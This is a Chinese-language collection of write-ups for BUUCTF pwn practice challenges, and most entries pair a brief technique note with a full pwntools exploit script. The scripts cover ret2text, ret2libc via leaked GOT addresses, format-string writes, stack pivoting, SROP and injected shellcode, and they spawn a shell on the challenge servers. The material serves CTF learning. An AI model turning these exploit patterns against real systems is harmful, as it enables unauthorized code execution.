BUUCTF二进制漏洞-1

64位前几个参数:rdi, rsi, rdx, rcx, r8, r9

test_your_nc

连上之后直接cat flag即可。

rip

简单的ret2text。
gets()存在栈溢出,可以找到fun()函数执行system("/bin/sh").

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("node4.buuoj.cn", 25327)

payload = b'a' * (0xf + 8) + p64(0x401186+1)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

这里的+1据百度是为了配合更新之后的buu环境。在本地不+1也是可以打通的。

warmup_csaw_2016

简单的ret2text。
这道题它虽然打印了危险函数的地址,但是并没有开启PIE。所以照常写。

1
2
3
4
5
6
7
8
from pwn import *

p = remote("node4.buuoj.cn", 26638)

payload = b'a' * (0x40 + 8) + p64(0x40060d)
p.sendline(payload)

p.interactive()

ciscn_2019_n_1

栈溢出修改栈上的值。

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('node4.buuoj.cn', 25478)
# attachment = ELF('./')

num = 0x41348000
p.sendline(b'a' * (0x30 - 4) + p64(num))

p.interactive()

pwn1_sctf_2016

简单的ret2text。
有NX没PIE,虽然限制了输入的长度,但是程序会将输入里的I都替换成you,有栈溢出的可能。

1
2
3
4
5
6
7
8
from pwn import *

p = remote("node4.buuoj.cn", 26895)

payload = b'a' + b'I' * 21 + p32(0x8048F0D)
p.sendline(payload)

p.interactive()

jarvisoj_level0

简单的ret2text。

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("node4.buuoj.cn", 25991)

payload = b'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

[第五空间2019 决赛]PWN5

简单的格式化字符串漏洞。
有canary有NX,栈溢出困难,考虑格式化字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = remote("node4.buuoj.cn", 26997)

# 泄露栈空间
# payload = b'AAAA' + b'%p' * 15
# p.sendline(payload)

payload = b'%12$nxxx' + p32(0x0804C044)# 'xxx'用于填充位数,使得p32()的内容是第12个参数
p.recvuntil(b'your name:')
p.sendline(payload)
p.recvuntil(b'your passwd:')
p.sendline(b'0')
p.sendline(b'cat flag\n')

p.interactive()

# 泄露内容
# AAAA 0xffb511e8 0x63 (nil) 0xffb5120e 0x3 0xc2 0xf7df791b 0xffb5120e 0xffb5130c 0x41414141

ciscn_2019_c_1

好尼玛难的ret2libc,也许是因为第一次做吧
64位程序调用函数时的第一个参数由rdi传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

attachment = ELF('./attachment')
p = remote('node4.buuoj.cn', 27271)

puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
encrypt = attachment.symbols['encrypt']
pop_rdi_ret = 0x400c83
ret = 0x4006b9

# 泄露puts()的got表地址
p.sendlineafter('Input your choice!\n', b'1')
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt)
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

p.recvline()
p.recvline()

# 根据泄露内容,计算libc基址和system()、"/bin/sh"的地址
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

#攻击
payload = b'a' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('encrypted\n', payload)

p.sendline(b'cat flag\n')

p.interactive()

这道题如果按照ctf-wiki上的泄露__libc_start_main的got表地址是打不通的。。。

ciscn_2019_n_8

栈溢出,保护开得很全

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('node4.buuoj.cn', 29515)
attachment = ELF('./ciscn_2019_n_8')

payload = b'\x11\x00\x00\x00' * 14
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

jarvisoj_level2

简单的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('node4.buuoj.cn', 28441)
attachment = ELF('./level2')

binsh_addr = 0x0804A024
system_plt = 0x08048320

payload = b'a' * (0x88 + 4) + p32(system_plt) + b'dead' + p32(binsh_addr)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

bjdctf_2020_babystack

简单的ret2text。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('node4.buuoj.cn', 29381)
attachment = ELF('./bjdctf_2020_babystack')

backdoor = 0x4006E6

p.sendlineafter('[+]Please input the length of your name:', b'99')

payload = b'a' * (0x10 + 8) + p64(backdoor)
p.sendlineafter("[+]What's u name?" , payload)

p.sendline(b'cat flag\n')

p.interactive()

get_started_3dsctf_2016

奇怪的ret2text。
不过这题很神奇,据百度,需要给它一个正常退出程序的地址,不然程序会崩。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('node4.buuoj.cn', 28077)
attachment = ELF('./get_started_3dsctf_2016')

backdoor = 0x080489A0
exit = 0x0804E6A0 # 就是它,这个不能动
a1 = 0x308CD64F
a2 = 0x195719D1

payload = b'a' * (0x38) + p32(backdoor) + p32(exit) + p32(a1) + p32(a2)
p.sendline(payload)

p.interactive()

[OGeek2019]babyrop

更复杂的ret2libc。
先用’\x00’绕过strlen()函数,再将buf[7]设为’\xff’便于溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = remote('node4.buuoj.cn', 28640)
attachment = ELF('./pwn')

write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = 0x08048825

payload = b'\x00' + b'\xff' * 8
p.sendline(payload)

payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter(b'Correct\n', payload)

write_addr = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

payload = b'\x00' + b'\xff' * 8
p.sendline(payload)
payload = b'a' * (0xe7 + 4) + p32(system_addr) + b'dead' + p32(binsh_addr)
p.sendlineafter(b'Correct\n', payload)

p.sendline(b'cat flag\n')

p.interactive()

这道题的libc要用它给的,用LibcSearcher搜出来的打不通。。。

jarvisoj_level2_x64

简单的ewr2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('node4.buuoj.cn', 25104)
attachment = ELF('./level2_x64')

binsh_addr = 0x0000000000600A90
pop_rdi_ret = 0x00000000004006b3
system_plt = 0x00000000004004c0

payload = b'a' * (128 + 8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

[HarekazeCTF2019]baby_rop

简单的ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('node4.buuoj.cn', 27443)
attachment = ELF('./babyrop')

binsh_addr = 0x0000000000601048
system_plt = 0x0000000000400490
pop_rdi_ret = 0x0000000000400683

payload = b'a' * 0x18 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)
p.sendline(payload)

p.sendline(b'cat home/babyrop/flag\n')

p.interactive()

(我们要强烈谴责这种藏flag的行为)

ciscn_2019_en_2

与ciscn_2019_c_1完全一样。

ciscn_2019_n_5

ret2shellcode总是报错,所以用ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 26133)
attachment = ELF('./ciscn_2019_n_5')

ret = 0x4004c9
pop_rdi_ret = 0x400713
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
main = 0x400636

p.sendlineafter(b'tell me your name', b'1')
payload = b'a' * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b'What do you want to say to me?', payload)
p.recv()

puts_addr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'tell me your name', b'1')
payload = b'a' * (0x20 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b'What do you want to say to me?', payload)

p.sendline(b'cat flag\n')

p.interactive()

not_the_same_3dsctf_2016

稍难的ret2text。
get_secret()函数中只有写flag的步骤,没有输出的步骤。需要调用一下printf()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = remote('node4.buuoj.cn', 28017)
attachment = ELF('./not_the_same_3dsctf_2016')

get_secret = 0x080489A0
main = 0x080489E0
printf = 0x0804F0A0
flag = 0x080ECA2D
exit = 0x0804E660

payload = b'a' * 0x2d + p32(get_secret) + p32(main)
p.sendline(payload)
payload = b'a' * 0x2d + p32(printf) + p32(exit) + p32(flag)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

others_shellcode

连上就行。

ciscn_2019_ne_5

strcpy()函数没检查终止,可以溢出。
ret2text。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('node4.buuoj.cn', 29537)
attachment = ELF('./ciscn_2019_ne_5')

sysyem_plt = 0x080484D0
sh = 0x80482EA # 某字符串中含有“sh”即可

p.sendlineafter(b'Please input admin password:', b'administrator')
p.sendlineafter(b'0.Exit\n:', b'1')
p.sendlineafter(b'Please input new log info:', b'a' * (0x48 + 4) + p32(sysyem_plt) + b'dead' + p32(sh))
p.sendline(b'4')

p.sendline(b'cat flag\n')

p.interactive()

想试试ret2libc但是失败了。。。

铁人三项(第五赛区)_2018_rop

ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 29927)
attachment = ELF('./2018_rop')

write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = attachment.symbols['main']

payload = b'a' * 140 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * 140 + p32(system_addr) + b'dead' + p32(str_bin_sh)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

这道题的libc只有选1才能跑出来。

bjdctf_2020_babyrop

ret2libc。注意接受消息的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 29294)
attachment = ELF('./bjdctf_2020_babyrop')

puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
main = attachment.symbols['main']
pop_rdi_ret = 0x0000000000400733

payload = b'a' * 40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b'Pull up your sword and tell me u story!\n', payload)

puts_addr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * 40 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr)
p.sendlineafter(b'Pull up your sword and tell me u story!\n', payload)

p.sendline(b'cat flag\n')

p.interactive()

bjdctf_2020_babystack2

ret2text+整型溢出

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('node4.buuoj.cn', 27414)

backdoor = 0x400726
p.sendlineafter(b'[+]Please input the length of your name:\n', b'-1')
p.sendlineafter(b"[+]What's u name?\n", b'a' * 0x18 + p64(backdoor))

p.sendline(b'cat flag\n')

p.interactive()

jarvisoj_fm

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('node4.buuoj.cn', 25583)

x = 0x0804A02C
payload = b'AAAA%14$nxxx' + p32(x)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

# AAAA 0xffde975c 0x50 (nil) 0xf7feb000 0xf7feb918 0xffde9760 0xffde9854 (nil) 0xffde97f4 0x2d 0x41414141

ciscn_2019_es_2

栈迁移
虽然可以溢出,但是可以溢出的长度太短了,考虑对栈空间进行转移,用以塞下ROP链。
leave = mov esp, ebp; pop ebp;
ret = pop eip;
因此,我们可以通过两次leave,ret将ebp和esp转移到我们想要的地方。
通过第一组read和printf可以获取到ebp上的值。
动调可以发现ebp上的值与read(0, s, 0x30u)中的s相差0x38。


同时,因为需要进行两次leave-ret,因此第二遍payload前四位会被pop ebp用掉,构造时多加注意。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = remote('node4.buuoj.cn', 25403)

system_addr = 0x8048400
leave_ret_addr = 0x80485FD

payload = b'a' * 0x27 + b'b'
p.send(payload)
p.recvuntil(b'b')
ebp = u32(p.recv(4))

s_addr = ebp - 0x38

payload = (b'dead' + p32(system_addr) + b'dead' + p32(s_addr + 16) + b'/bin/sh\x00').ljust(0x28, b'\x00') + p32(s_addr) + p32(leave_ret_addr)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

看雪上的大佬说:

赞!

jarvisoj_tell_me_something

ret2text

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('node4.buuoj.cn', 27285)

backdoor = 0x400620
payload = b'a' * 0x88 + p64(backdoor)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

[HarekazeCTF2019]baby_rop2

ret2libc
这道题不知道为什么不能用printf的got,要用read的got才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 25566)
attachment = ELF('./babyrop2')

main = 0x400636
fmt = 0x400770
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
printf_plt = attachment.plt['printf']
printf_got = attachment.got['printf']
read_got = attachment.got['read']

payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)
p.sendline(payload)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))
libc = ELF('./libc.so.6')
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr)
p.sendline(payload)

p.sendline(b'cat /home/babyrop2/flag\n')

p.interactive()

pwn2_sctf_2016

ret2libc。
这题的libc需要用BUU在FAQ中给你的,搜到的打不通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 28589)
attachment = ELF('./pwn2_sctf_2016')

main = 0x080485B8
fmt = 0x080486F8
printf_plt = attachment.plt['printf']
printf_got = attachment.got['printf']

p.sendline(b'-1')
payload = b'a' * (0x2C + 4) + p32(printf_plt) + p32(main) + p32(fmt) + p32(printf_got)
p.sendlineafter(b'data!\n', payload)
p.recvline()
p.recvuntil(b'You said: ')
printf_addr = u32(p.recv(4))
print(hex(printf_addr))

libc = ELF('./libc-2.23.so')
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

p.sendline(b'-1')
payload = b'a' * (0x2c+4) + p32(system_addr) + p32(main) + p32(str_bin_sh)
p.sendline(payload)

p.recvline()
p.recvline()
p.recvline()

p.sendline(b'cat flag\n')

p.interactive()

jarvisoj_level3

ret2libc。
libc老老实实用人家给的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

p = remote('node4.buuoj.cn', 25288)
attachment = ELF('./level3')

write_plt = attachment.plt['write']
write_got = attachment.got['write']
main = attachment.symbols['main']

payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter(b'Input:\n', payload)
write_addr = u32(p.recv(4))

libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

payload = b'a' * (0x88 + 4) + p32(system_addr) + b'dead' + p32(str_bin_sh)
p.sendlineafter(b'Input:\n', payload)

p.sendline(b'cat flag\n')

p.interactive()

ciscn_2019_s_3

普通ROP打了一天也没打通,被迫学习SROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p = remote('node4.buuoj.cn', 25198)

context(arch = 'amd64', os = 'linux')

vuln = 0x4004ED
mov_rax_0F = 0x4004DA
syscall = 0x400517

payload = b'/bin/sh\x00' * 2 + p64(vuln)
p.send(payload)
p.recv(32)
stack = u64(p.recv(8))
str_bin_sh = stack - 0x118 # 这里很奇怪,我自己算怎么算都是0x148,但是网上的题解只有0x118才能打通。
print(hex(str_bin_sh))

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = str_bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack
frame.rip = syscall

payload = b'/bin/sh\x00' * 2 + p64(mov_rax_0F) + p64(syscall) + bytes(frame)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

picoctf_2018_rop chain

ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('node4.buuoj.cn', 27978)

win1 = 0x080485CB
win2 = 0x080485D8
flag = 0x0804862B

payload = b'a' * (0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendline(payload)

p.sendline(b'cat flag\n')

p.interactive()

ez_pz_hackover_2016

memcpy函数导致栈溢出,题目输出的栈地址有执行权限,将shellcode写在那里就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os = 'linux', arch = 'i386')

p = remote('node4.buuoj.cn', 25450)
# p = process('./pwn')
p.recvuntil(b'Yippie, lets crash: ')
addr = int(p.recvline()[:-1].decode(), 16)
print(hex(addr))

# gdb.attach(p, 'b *vuln+20')

p.recvuntil(b'> ')
payload = b'crashme\x00' + b'a' * 18 + p32(addr - 28) + asm(shellcraft.sh())
print(payload)
print(shellcraft.sh())
p.sendline(payload)

p.interactive()

这个代码里的参数(那个18和28)我也不知道为什么是这俩,但是gdb调出来就是这俩。。。

babyheap_0ctf_2017

pwn你妈,不会,草。
https://blog.csdn.net/qq_41696518/article/details/126677556
https://blog.csdn.net/qq_29912475/article/details/129802716